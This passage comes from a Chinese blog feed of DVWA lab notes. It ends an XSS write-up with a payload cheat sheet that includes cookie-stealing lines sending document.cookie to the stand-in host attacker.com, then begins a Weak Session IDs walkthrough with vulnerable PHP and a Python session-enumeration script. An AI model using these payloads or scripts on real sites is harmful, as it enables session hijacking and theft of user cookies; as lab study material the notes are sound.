htmlspecialchars</td></tr><tr><td>过滤方式</td><td>无</td><td>str_replace</td><td>preg_replace</td><td>N&#x2F;A</td></tr><tr><td>过滤目标</td><td>无</td><td><code>&lt;script&gt;</code></td><td><code>&lt;script&gt;</code>变形</td><td>N&#x2F;A</td></tr><tr><td>大小写</td><td>N&#x2F;A</td><td>敏感</td><td>不敏感</td><td>N&#x2F;A</td></tr><tr><td>可绕过性</td><td>完全开放</td><td>容易</td><td>容易</td><td>不可绕过</td></tr><tr><td>典型Payload</td><td><code>&lt;script&gt;</code></td><td><code>&lt;img&gt;</code></td><td><code>&lt;img&gt;</code></td><td>无效</td></tr><tr><td>攻击难度</td><td>极易</td><td>简单</td><td>简单</td><td>不可能</td></tr></tbody></table><hr><h2 id="常用XSS-Payload集合"><a href="#常用XSS-Payload集合" class="headerlink" title="常用XSS Payload集合"></a>常用XSS Payload集合</h2><h3 id="基础Payload"><a href="#基础Payload" class="headerlink" title="基础Payload"></a>基础Payload</h3><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">&lt;!-- 标准脚本 --&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="language-javascript"><span class="title function_">alert</span>(<span class="string">&#x27;XSS&#x27;</span>)</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="language-javascript"><span class="title function_">alert</span>(<span class="variable language_">document</span>.<span class="property">domain</span>)</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="language-javascript"><span class="title function_">alert</span>(<span class="variable language_">document</span>.<span class="property">cookie</span>)</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">&lt;!-- 大小写混淆 --&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">ScRiPt</span>&gt;</span><span class="language-javascript"><span class="title function_">alert</span>(<span class="string">&#x27;XSS&#x27;</span>)</span><span class="tag">&lt;/<span class="name">ScRiPt</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">SCRIPT</span>&gt;</span><span class="language-javascript"><span class="title function_">alert</span>(<span class="string">&#x27;XSS&#x27;</span>)</span><span class="tag">&lt;/<span class="name">SCRIPT</span>&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">&lt;!-- 双写绕过 --&gt;</span></span><br><span class="line">&lt;scr<span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="language-javascript">ipt&gt;<span class="title function_">alert</span>(<span class="string">&#x27;XSS&#x27;</span>)</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br></pre></td></tr></table></figure><h3 id="事件处理器"><a href="#事件处理器" class="headerlink" title="事件处理器"></a>事件处理器</h3><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">&lt;!-- onerror --&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">img</span> <span class="attr">src</span>=<span class="string">x</span> <span class="attr">onerror</span>=<span class="string">alert(</span>&#x27;<span class="attr">XSS</span>&#x27;)&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">img</span> <span class="attr">src</span>=<span class="string">x</span> <span class="attr">onerror</span>=<span class="string">&quot;alert(&#x27;XSS&#x27;)&quot;</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">img</span> <span class="attr">src</span>=<span class="string">x</span> <span class="attr">onerror</span>=<span class="string">&quot;alert(String.fromCharCode(88,83,83))&quot;</span>&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">&lt;!-- onload --&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">body</span> <span class="attr">onload</span>=<span class="string">alert(</span>&#x27;<span class="attr">XSS</span>&#x27;)&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">svg</span> <span class="attr">onload</span>=<span class="string">alert(</span>&#x27;<span class="attr">XSS</span>&#x27;)&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">iframe</span> <span class="attr">onload</span>=<span class="string">alert(</span>&#x27;<span class="attr">XSS</span>&#x27;)&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">&lt;!-- onclick --&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">div</span> <span class="attr">onclick</span>=<span class="string">alert(</span>&#x27;<span class="attr">XSS</span>&#x27;)&gt;</span>Click<span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">button</span> <span class="attr">onclick</span>=<span class="string">alert(</span>&#x27;<span class="attr">XSS</span>&#x27;)&gt;</span>Click<span class="tag">&lt;/<span class="name">button</span>&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">&lt;!-- onmouseover --&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">div</span> <span class="attr">onmouseover</span>=<span class="string">alert(</span>&#x27;<span class="attr">XSS</span>&#x27;)&gt;</span>Hover<span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">img</span> <span class="attr">src</span>=<span class="string">x</span> <span class="attr">onmouseover</span>=<span class="string">alert(</span>&#x27;<span class="attr">XSS</span>&#x27;)&gt;</span></span><br></pre></td></tr></table></figure><h3 id="HTML5标签"><a href="#HTML5标签" class="headerlink" title="HTML5标签"></a>HTML5标签</h3><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">&lt;!-- svg --&gt;</span></span><br><span class="line">&lt;svg/onload=alert(&#x27;XSS&#x27;)&gt;</span><br><span class="line"><span class="tag">&lt;<span class="name">svg</span>&gt;</span><span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="language-javascript"><span class="title function_">alert</span>(<span class="string">&#x27;XSS&#x27;</span>)</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span><span class="tag">&lt;/<span class="name">svg</span>&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">&lt;!-- details --&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">details</span> <span class="attr">open</span> <span class="attr">ontoggle</span>=<span class="string">alert(</span>&#x27;<span class="attr">XSS</span>&#x27;)&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">&lt;!-- video --&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">video</span> <span class="attr">src</span>=<span class="string">x</span> <span class="attr">onerror</span>=<span class="string">alert(</span>&#x27;<span class="attr">XSS</span>&#x27;)&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">&lt;!-- audio --&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">audio</span> <span class="attr">src</span>=<span class="string">x</span> <span class="attr">onerror</span>=<span class="string">alert(</span>&#x27;<span class="attr">XSS</span>&#x27;)&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">&lt;!-- marquee --&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">marquee</span> <span class="attr">onstart</span>=<span class="string">alert(</span>&#x27;<span class="attr">XSS</span>&#x27;)&gt;</span></span><br></pre></td></tr></table></figure><h3 id="JavaScript伪协议"><a href="#JavaScript伪协议" class="headerlink" title="JavaScript伪协议"></a>JavaScript伪协议</h3><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">a</span> <span class="attr">href</span>=<span class="string">&quot;javascript:alert(&#x27;XSS&#x27;)&quot;</span>&gt;</span>Click<span class="tag">&lt;/<span class="name">a</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">iframe</span> <span class="attr">src</span>=<span class="string">&quot;javascript:alert(&#x27;XSS&#x27;)&quot;</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">form</span> <span class="attr">action</span>=<span class="string">&quot;javascript:alert(&#x27;XSS&#x27;)&quot;</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">button</span> <span class="attr">formaction</span>=<span class="string">&quot;javascript:alert(&#x27;XSS&#x27;)&quot;</span>&gt;</span></span><br></pre></td></tr></table></figure><h3 id="编码绕过"><a href="#编码绕过" class="headerlink" title="编码绕过"></a>编码绕过</h3><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">&lt;!-- HTML实体编码 --&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">img</span> <span class="attr">src</span>=<span class="string">x</span> <span class="attr">onerror</span>=<span class="string">&quot;alert(&#x27;<span class="symbol">&amp;#88;</span><span class="symbol">&amp;#83;</span><span class="symbol">&amp;#83;</span>&#x27;)&quot;</span>&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">&lt;!-- Unicode编码 --&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="language-javascript">\u0061\u006c\u0065\u0072\<span class="title function_">u0074</span>(<span class="string">&#x27;XSS&#x27;</span>)</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">&lt;!-- 十六进制编码 --&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">img</span> <span class="attr">src</span>=<span class="string">x</span> <span class="attr">onerror</span>=<span class="string">&quot;<span class="symbol">&amp;#x61;</span><span class="symbol">&amp;#x6C;</span><span class="symbol">&amp;#x65;</span><span class="symbol">&amp;#x72;</span><span class="symbol">&amp;#x74;</span>(&#x27;XSS&#x27;)&quot;</span>&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">&lt;!-- Base64 --&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">iframe</span> <span class="attr">src</span>=<span class="string">&quot;data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=&quot;</span>&gt;</span></span><br></pre></td></tr></table></figure><h3 id="Cookie窃取"><a href="#Cookie窃取" class="headerlink" title="Cookie窃取"></a>Cookie窃取</h3><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">&lt;!-- 简单窃取 --&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="language-javascript"><span class="variable language_">document</span>.<span class="property">location</span>=<span class="string">&#x27;http://attacker.com/?c=&#x27;</span>+<span class="variable language_">document</span>.<span class="property">cookie</span></span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">&lt;!-- 使用fetch --&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="language-javascript"><span class="title function_">fetch</span>(<span class="string">&#x27;http://attacker.com/?c=&#x27;</span>+<span class="variable language_">document</span>.<span class="property">cookie</span>)</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">&lt;!-- 使用img --&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">img</span> <span class="attr">src</span>=<span class="string">x</span> <span class="attr">onerror</span>=<span class="string">&quot;this.src=&#x27;http://attacker.com/?c=&#x27;+document.cookie&quot;</span>&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">&lt;!-- 使用XMLHttpRequest --&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript"><span class="keyword">var</span> xhr=<span class="keyword">new</span> <span class="title class_">XMLHttpRequest</span>();</span></span><br><span class="line"><span class="language-javascript">xhr.<span class="title function_">open</span>(<span class="string">&#x27;GET&#x27;</span>,<span class="string">&#x27;http://attacker.com/?c=&#x27;</span>+<span class="variable language_">document</span>.<span class="property">cookie</span>);</span></span><br><span class="line"><span class="language-javascript">xhr.<span class="title function_">send</span>();</span></span><br><span class="line"><span class="language-javascript"></span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br></pre></td></tr></table></figure><hr><h2 id="实战建议"><a href="#实战建议" class="headerlink" title="实战建议"></a>实战建议</h2><p><strong>学习路径：</strong></p><ol><li><strong>Low难度</strong> - 理解XSS基本原理</li><li><strong>Medium难度</strong> - 学习简单绕过技巧</li><li><strong>High难度</strong> - 掌握正则绕过方法</li><li><strong>Impossible难度</strong> - 理解正确的防御</li></ol><p><strong>测试流程：</strong></p><ol><li>输入<code>&lt;script&gt;alert(1)&lt;/script&gt;</code>测试</li><li>如果被过滤，尝试大小写混淆</li><li>如果仍被过滤，使用其他标签</li><li>使用Burp Suite查看过滤规则</li><li>针对性构造Payload</li></ol><p><strong>工具推荐：</strong></p><ul><li>Burp Suite - 拦截和修改请求</li><li>XSSer - 自动化XSS扫描</li><li>BeEF - 浏览器利用框架</li><li>XSS Hunter - XSS盲打平台</li></ul><p><strong>道德准则：</strong></p><ul><li>只在授权环境测试</li><li>不窃取真实用户数据</li><li>学习目的是防御，不是攻击</li></ul>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;目录&quot;&gt;&lt;a href=&quot;#目录&quot; class=&quot;headerlink&quot; title=&quot;目录&quot;&gt;&lt;/a&gt;目录&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;#%E6%BC%8F%E6%B4%9E%E7%AE%80%E4%BB%8B&quot;&gt;漏洞简介&lt;/a&gt;&lt;/li&gt;
&lt;l</summary>
      
    
    
    
    <category term="dvwa靶场学习笔记" scheme="http://caixuya.github.io/categories/dvwa%E9%9D%B6%E5%9C%BA%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"/>
    
    
  </entry>
  
  <entry>
    <title>DVWA - Weak Session IDs (弱会话ID) 攻防练习详解</title>
    <link href="http://caixuya.github.io/2025/11/20/Weak_Session_IDs_%E6%94%BB%E9%98%B2%E7%BB%83%E4%B9%A0/"/>
    <id>http://caixuya.github.io/2025/11/20/Weak_Session_IDs_%E6%94%BB%E9%98%B2%E7%BB%83%E4%B9%A0/</id>
    <published>2025-11-20T15:31:37.128Z</published>
    <updated>2025-11-20T15:25:29.757Z</updated>
    
    <content type="html"><![CDATA[<h2 id="目录"><a href="#目录" class="headerlink" title="目录"></a>目录</h2><ul><li><a href="#%E6%BC%8F%E6%B4%9E%E7%AE%80%E4%BB%8B">漏洞简介</a></li><li><a href="#low-%E9%9A%BE%E5%BA%A6">Low 难度</a></li><li><a href="#medium-%E9%9A%BE%E5%BA%A6">Medium 难度</a></li><li><a href="#high-%E9%9A%BE%E5%BA%A6">High 难度</a></li><li><a href="#impossible-%E9%9A%BE%E5%BA%A6">Impossible 难度</a></li><li><a href="#%E9%98%B2%E5%BE%A1%E5%BB%BA%E8%AE%AE">防御建议</a></li></ul><hr><h2 id="漏洞简介"><a href="#漏洞简介" class="headerlink" title="漏洞简介"></a>漏洞简介</h2><h3 id="什么是Weak-Session-IDs（弱会话ID）？"><a href="#什么是Weak-Session-IDs（弱会话ID）？" class="headerlink" title="什么是Weak Session IDs（弱会话ID）？"></a>什么是Weak Session IDs（弱会话ID）？</h3><p>Session ID是服务器用来识别用户会话的唯一标识符。弱会话ID是指可预测、容易猜测或破解的会话标识符。</p><p><strong>Session的作用：</strong></p><ul><li>在HTTP无状态协议中维持用户状态</li><li>识别已登录用户</li><li>存储用户会话数据</li></ul><p><strong>危害：</strong></p><ul><li>会话劫持（Session Hijacking）</li><li>会话固定（Session Fixation）</li><li>未授权访问</li><li>账户接管</li><li>身份伪装</li></ul><p><strong>弱Session ID的特征：</strong></p><ul><li>可预测（如连续递增）</li><li>熵值太低（如只有数字）</li><li>基于时间戳</li><li>短长度</li><li>不随机</li></ul><hr><h2 id="Low-难度"><a href="#Low-难度" class="headerlink" title="Low 难度"></a>Low 难度</h2><h3 id="攻击目标"><a href="#攻击目标" class="headerlink" title="攻击目标"></a>攻击目标</h3><p>使用简单的计数器作为Session ID，完全可预测。</p><h3 id="后端代码分析"><a href="#后端代码分析" class="headerlink" title="后端代码分析"></a>后端代码分析</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// ★★★ 危险操作：使用简单计数器作为Session ID ★★★</span></span><br><span class="line"><span class="comment">// 检查cookie中是否有dvwaSession</span></span><br><span class="line"><span class="keyword">if</span>( !<span class="keyword">isset</span>( <span class="variable">$_COOKIE</span>[ <span class="string">&#x27;dvwaSession&#x27;</span> ] ) ) &#123;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 初始化：从0开始计数 ★★★</span></span><br><span class="line">    <span class="comment">// 第一个用户：dvwaSession=0</span></span><br><span class="line">    <span class="comment">// 第二个用户：dvwaSession=1</span></span><br><span class="line">    <span class="comment">// 第三个用户：dvwaSession=2</span></span><br><span class="line">    <span class="comment">// ...</span></span><br><span class="line">    <span class="comment">// 完全可预测！</span></span><br><span class="line">    <span class="variable">$last_session_id</span> = <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 尝试读取上一个Session ID ★★★</span></span><br><span class="line">    <span class="comment">// 从文件中读取最后使用的Session ID</span></span><br><span class="line">    <span class="comment">// __DIR__ - 当前文件所在目录</span></span><br><span class="line">    <span class="comment">// DIRECTORY_SEPARATOR - 目录分隔符</span></span><br><span class="line">    <span class="comment">// sessionid.txt - 存储Session ID的文件</span></span><br><span class="line">    <span class="variable">$sessionid_path</span> = <span class="keyword">__DIR__</span> . DIRECTORY_SEPARATOR . <span class="string">&#x27;sessionid.txt&#x27;</span>;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// file_exists() - 检查文件是否存在</span></span><br><span class="line">    <span class="keyword">if</span>( <span class="title function_ invoke__">file_exists</span>( <span class="variable">$sessionid_path</span> ) ) &#123;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// ★★★ 读取上一个Session ID ★★★</span></span><br><span class="line">        <span class="comment">// file_get_contents() - 读取文件内容</span></span><br><span class="line">        <span class="comment">// intval() - 将字符串转换为整数</span></span><br><span class="line">        <span class="variable">$last_session_id</span> = <span class="title function_ invoke__">intval</span>( <span class="title function_ invoke__">file_get_contents</span>( <span class="variable">$sessionid_path</span> ) );</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 生成新的Session ID：简单递增 ★★★</span></span><br><span class="line">    <span class="comment">// 新Session ID = 上一个ID + 1</span></span><br><span class="line">    <span class="comment">// 问题：完全可预测！</span></span><br><span class="line">    <span class="variable">$session_id</span> = ++<span class="variable">$last_session_id</span>;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 保存新的Session ID到文件 ★★★</span></span><br><span class="line">    <span class="comment">// file_put_contents() - 将内容写入文件</span></span><br><span class="line">    <span class="title function_ invoke__">file_put_contents</span>( <span class="variable">$sessionid_path</span>, <span class="variable">$session_id</span> );</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 设置Cookie ★★★</span></span><br><span class="line">    <span class="comment">// setcookie() - 设置Cookie</span></span><br><span class="line">    <span class="comment">// 参数1：Cookie名称</span></span><br><span class="line">    <span class="comment">// 参数2：Cookie值</span></span><br><span class="line">    <span class="comment">// 参数3：过期时间（0表示会话结束时删除）</span></span><br><span class="line">    <span class="comment">// 参数4：Cookie路径</span></span><br><span class="line">    <span class="comment">//</span></span><br><span class="line">    <span class="comment">// 问题：</span></span><br><span class="line">    <span class="comment">// 1. Session ID完全可预测</span></span><br><span class="line">    <span class="comment">// 2. 没有HttpOnly标志（可被JavaScript读取）</span></span><br><span class="line">    <span class="comment">// 3. 没有Secure标志（可通过HTTP传输）</span></span><br><span class="line">    <span class="title function_ invoke__">setcookie</span>( <span class="string">&quot;dvwaSession&quot;</span>, <span class="variable">$session_id</span>, <span class="number">0</span>, <span class="string">&quot;/&quot;</span> );</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 显示当前Session ID</span></span><br><span class="line"><span class="variable">$cookie_value</span> = <span class="variable">$_COOKIE</span>[ <span class="string">&#x27;dvwaSession&#x27;</span> ];</span><br><span class="line"></span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><h3 id="漏洞分析"><a href="#漏洞分析" class="headerlink" title="漏洞分析"></a>漏洞分析</h3><p><strong>Session ID生成方式：</strong></p><figure class="highlight abnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">用户<span class="number">1</span>：dvwaSession <span class="operator">=</span> <span class="number">0</span></span><br><span class="line">用户<span class="number">2</span>：dvwaSession <span class="operator">=</span> <span class="number">1</span></span><br><span class="line">用户<span class="number">3</span>：dvwaSession <span class="operator">=</span> <span class="number">2</span></span><br><span class="line">用户<span class="number">4</span>：dvwaSession <span class="operator">=</span> <span class="number">3</span></span><br><span class="line">...</span><br><span class="line">用户N：dvwaSession <span class="operator">=</span> N-<span class="number">1</span></span><br></pre></td></tr></table></figure><p><strong>核心问题：</strong></p><ol><li><strong>完全可预测</strong> - 简单递增</li><li><strong>低熵值</strong> - 只是数字</li><li><strong>易于暴力破解</strong> - 从0开始尝试</li><li><strong>无安全标志</strong> - 无HttpOnly、Secure</li><li><strong>存储在文件</strong> - 不安全</li></ol><h3 id="攻击步骤"><a href="#攻击步骤" class="headerlink" title="攻击步骤"></a>攻击步骤</h3><h4 id="步骤1：观察Session-ID模式"><a href="#步骤1：观察Session-ID模式" class="headerlink" title="步骤1：观察Session ID模式"></a>步骤1：观察Session ID模式</h4><p><strong>测试：</strong></p><ol><li>清除Cookie</li><li>访问DVWA的Weak Session IDs页面</li><li>记录你的Session ID（例如：15）</li><li>清除Cookie，再次访问</li><li>记录新的Session ID（例如：16）</li><li>重复几次</li></ol><p><strong>发现：Session ID连续递增！</strong></p><h4 id="步骤2：枚举其他用户的Session"><a href="#步骤2：枚举其他用户的Session" class="headerlink" title="步骤2：枚举其他用户的Session"></a>步骤2：枚举其他用户的Session</h4><p><strong>Python脚本：</strong></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"></span><br><span class="line">url = <span class="string">&quot;http://dvwa.local/dvwa/vulnerabilities/weak_id/&quot;</span></span><br><span class="line">cookies_base = &#123;</span><br><span class="line">    <span class="string">&#x27;security&#x27;</span>: <span class="string">&#x27;low&#x27;</span>,</span><br><span class="line">    <span class="string">&#x27;PHPSESSID&#x27;</span>: <span class="string">&#x27;你的PHPSESSID&#x27;</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment"># 假设当前Session ID是100</span></span><br><span class="line"><span class="comment"># 枚举前后的Session ID</span></span><br><span class="line"><span class="keyword">for</span> session_id <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">90</span>, <span class="number">110</span>):</span><br><span class="line">    cookies = cookies_base.copy()</span><br><span class="line">    cookies[<span class="string">&#x27;dvwaSession&#x27;</span>] = <span class="built_in">str</span>(session_id)</span><br><span class="line"></span><br><span class="line">    response = requests.get(url, cookies=cookies)</span><br><span class="line"></span><br><span class="line">    <span class="built_in">print</span>(<span class="string">f&quot;[*] Testing dvwaSession=<span class="subst">&#123;session_id&#125;</span>&quot;</span>)</span><br><span class="line">    <span class="comment"># 检查是否能访问</span></span><br><span class="line">    <span class="keyword">if</span> response.status_code == <span class="number">200</span>:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;[+] Session <span class="subst">&#123;session_id&#125;</span> is valid!&quot;</span>)</span><br></pre></td></tr></table></figure><h4 id="步骤3：会话劫持"><a href="#步骤3：会话劫持" class="headerlink" title="步骤3：会话劫持"></a>步骤3：会话劫持</h4><p><strong>场景：</strong></p><ol><li>攻击者获知受害者的Session ID（通过XSS、网络嗅探等）</li><li>或者通过枚举猜测Session ID</li><li>使用该Session ID访问应用</li><li>冒充受害者身份</li></ol><p><strong>使用Burp Suite：</strong></p><ol><li>拦截请求</li><li>修改Cookie中的dvwaSession值</li><li>尝试不同的数字</li><li>找到有效的Session</li></ol><h4 id="步骤4：会话固定攻击"><a href="#步骤4：会话固定攻击" class="headerlink" title="步骤4：会话固定攻击"></a>步骤4：会话固定攻击</h4><p><strong>攻击流程：</strong></p><ol><li>攻击者清除Cookie，访问DVWA</li><li>记录自己的dvwaSession（例如：50）</li><li>诱导受害者使用这个Session（发送链接）</li><li>受害者使用dvwaSession&#x3D;50登录</li><li>攻击者也使用dvwaSession&#x3D;50访问</li><li>攻击者获得受害者的权限</li></ol><hr><h2 id="Medium-难度"><a href="#Medium-难度" class="headerlink" title="Medium 难度"></a>Medium 难度</h2><h3 id="攻击目标-1"><a href="#攻击目标-1" class="headerlink" title="攻击目标"></a>攻击目标</h3><p>使用时间戳作为Session ID，仍然可预测。</p><h3 id="后端代码分析-1"><a href="#后端代码分析-1" class="headerlink" title="后端代码分析"></a>后端代码分析</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>( !<span class="keyword">isset</span>( <span class="variable">$_COOKIE</span>[ <span class="string">&#x27;dvwaSession&#x27;</span> ] ) ) &#123;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 使用时间戳作为Session ID ★★★</span></span><br><span class="line">    <span class="comment">// time() - 返回当前Unix时间戳（从1970-01-01 00:00:00 UTC到现在的秒数）</span></span><br><span class="line">    <span class="comment">//</span></span><br><span class="line">    <span class="comment">// 问题：</span></span><br><span class="line">    <span class="comment">// 1. 时间戳是可预测的</span></span><br><span class="line">    <span class="comment">// 2. 攻击者知道大致的时间范围</span></span><br><span class="line">    <span class="comment">// 3. 